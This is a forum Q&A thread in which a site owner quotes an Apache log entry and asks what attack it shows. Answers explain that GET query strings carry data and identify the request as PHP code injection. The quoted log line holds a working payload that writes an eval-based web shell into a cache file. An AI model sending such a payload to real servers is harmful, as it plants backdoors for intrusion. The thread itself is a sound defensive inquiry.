3

Today we have received following request in the Apache access logs file.

"GET //?1=@ini_set(%22display_errors%22,%220%22);@set_time_limit(0);@set_magic_quotes_runtime(0);echo%20'-%3E%7C';file_put_contents(dirname($_SERVER%5B'SCRIPT_FILENAME'%5D).'/cache/cachee.php','%3C?php%20eval($_POST%5Bshine%5D);?%3E');echo%20'%7C%3C-'; HTTP/1.1" 200 42303

As clearly seen from above request URL, the hacker is trying to attempt POST the data or file through GET request and surprisingly he has got 200 Status Code in Response status.

Which type of hacking attempt is it?

Note:- For Security reason, we have blocked all POST request except some forms URL on our server.

So any hacker who is trying to post some malicious data on our server will get 403 Status code in Response

above hacker POSTED Some data through GET Request and he has got 200 Status Code in Response.

Please help me in knowing which type of hacking technique is this?

  • If you block certain methods, you should respond with a "405 Method Not Allowed", not a 403 – Beat Aug 7 '17 at 16:18
3

The hacker does not POST the data. POST is a HTTP method as much as GET, HEAD, OPTIONS and similar. Contrary to GET the POST method can have a request body to transfer the data. Still, it is possible to transfer data within a GET request too, for example inside the query string of the URL (i.e. the part starting with ?) like you see in the logs. There is nothing special about it and in fact this is the way data are transferred if you use a HTML form and don't explicitly specify a method.
And since this is just normal behavior the server will return a successful response code.

  • thanx for your reply but can you please explain from access log row from my question what hacker has actually tried? – Pawan Patil Aug 4 '17 at 5:43
  • @PawanPatil: this looks like PHP code. So my guess is that the attacker tries some kind of code injection attack, i.e. tries to make your server execute this code. – Steffen Ullrich Aug 4 '17 at 5:46
  • what will be the consequences of it?can you please give me some link/thread to read about such attacks – Pawan Patil Aug 4 '17 at 9:06
  • 1
    @PawanPatil check this out owasp.org/index.php/Code_Injection – Soufiane Tahiri Aug 4 '17 at 10:26

Your Answer

By clicking “Post Your Answer”, you agree to our terms of service, privacy policy and cookie policy

Not the answer you're looking for? Browse other questions tagged or ask your own question.